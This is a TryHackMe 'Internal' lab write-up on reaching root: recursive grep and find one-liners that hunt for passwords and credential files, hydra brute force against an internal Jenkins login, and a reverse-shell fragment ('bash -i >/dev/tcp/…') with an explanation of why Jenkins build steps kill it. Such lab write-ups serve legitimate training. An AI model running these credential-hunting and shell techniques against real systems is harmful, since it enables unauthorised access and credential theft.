Tryhackme - Internal - THE HARD WAY

Goal: Boot to Root - The hard way.

1. Enumerations: Same as Internal Easy Way

2. Privilege Escalation: THE HARD WAY

Oh boy, where do I start?

Now let supposed that PwnKit doesn't work at all (which it does).

And let supposed that harvesting credentials by enumerating text files is the only way to get to root. Trỵhackme - Internal the hard way is based on the fact that this victim machine might be harden, and we may not have any way to get to root other than get into the Docker container and get our credential lying inside of an obfuscated text file.

We start with enumerating the directory around us.

# A few good enumerating commands from a friend:
#1. Obvious dirs
ls -lah /opt /var/backups /srv /tmp 2>/dev/null
ls -lah /opt /srv /tmp /home /etc /var 2>/dev/null 
find /home -maxdepth 2 -type f -size -128k -printf "%M %u %p\n" 2>/dev/null

#2. Colon grep
grep -RIn --exclude-dir={proc,sys,dev,run} -E '^[[:alnum:]._-]{1,30}:[[:graph:]]{1,30}$' / 2>/dev/null | head

# 3. Tiny txt/bak/old
find / -type f -size -128k \( -iname "*.txt" -o -iname "*.bak" -o -iname "*.old" -o -iname "*.conf" \) -readable -exec ls -lah {} + 2>/dev/null | head -n 40

# 4. ZIP/TAR creds
find / -type f -size -5M -regextype posix-extended -regex '.*\.(zip|tar|gz|bz2|7z|rar)$' -readable -print 2>/dev/null | head

# 5. Files containing the string 'user1' (change accordingly)
grep -RIl "user1" / 2>/dev/null

# 6. Same as 5. but faster
grep -RIl "user1" /opt /srv /tmp /home /etc /var 2>/dev/null

# 7. Files named with 'user1'
find / -type f -iname "*user1*" 2>/dev/null

# 8. Files owned by 'user1'
find / -user user1 2>/dev/null

# 9. Find password
grep -R "password" /tmp /etc /opt /home 2>/dev/null

For this lab command 1.1 and 2 works like a charm!

Command 1.1: Pointed out the file right on top:

Command 2: We don't even need to open the file:

Navigating to the home directory reveals the user.txt flag and a file named “jenkins.txt.” This file hints that there is an internal Jenkins server running on a 172.17.0.2:8080 address internally.

Now let's setup our ssh tunnel at 10000:

(I always forgot this command so I will explain to myself the command again, ignore these 2 lines below)

Now to bruteforce Jenkins, we have to study its response:

Notice this: http://localhost:10000/loginError this will be our input into hydra (Why hydra you ask? because I'm prepping for OSCP, normally I would CAIDO and filter out things but... well rules of the land it is. For what I know, OSCP banned CAIDO. I wish they didn't.).

Next let's study the POST request we send:

Build the hydra command:

Remember not to use 127.0.0.1:10000 and you MUST add -s 10000 or it will crashed.

OUCH.

Anyway,

There are 2 ways to get a shell:

1. Normal Shell:

Press New Item

Enter New Item Name and pick Multi-configuration project:

Scroll down at Build and pick Execute shell and enter your shell:

You'd probably wonder why I crossed these out, because at the time of writing this line I tried 20 reverse shell and failed every single one of it, Jenkins keep exit on my shell and I don't know why.

Until a friend explained:


In a Nutshell

  • Build Step → parent = /bin/sh /tmp/jenkinsXYZ.sh → Jenkins kills all children when /tmp/jenkinsXYZ.sh exits → reverse shell dies.

  • Script Console → parent = Jenkins’s Groovy/JVM → no build-wrapper to exit → your shell lives on until you close it.

That’s why every time you tried a “live bash –i >/dev/tcp/…” inside a pipeline, it connected briefly and then vanished—because Jenkins automatically reaps it once that step finishes.


I've also asked why on a Windows Server, I used this trick without being killed, they explained:

On Windows: Jenkins’s Windows agent launcher does not automatically kill every child process when your PowerShell step ends, so your PS reverse shell remains alive.


So anyway, Groovy script it is then.

Let's visit

A few Groovy scripts:

Now we could just:

This is the hard way, the true way to do this room. I hope you would enjoy my write-up as much as I writing it.

Have a good day.

Last updated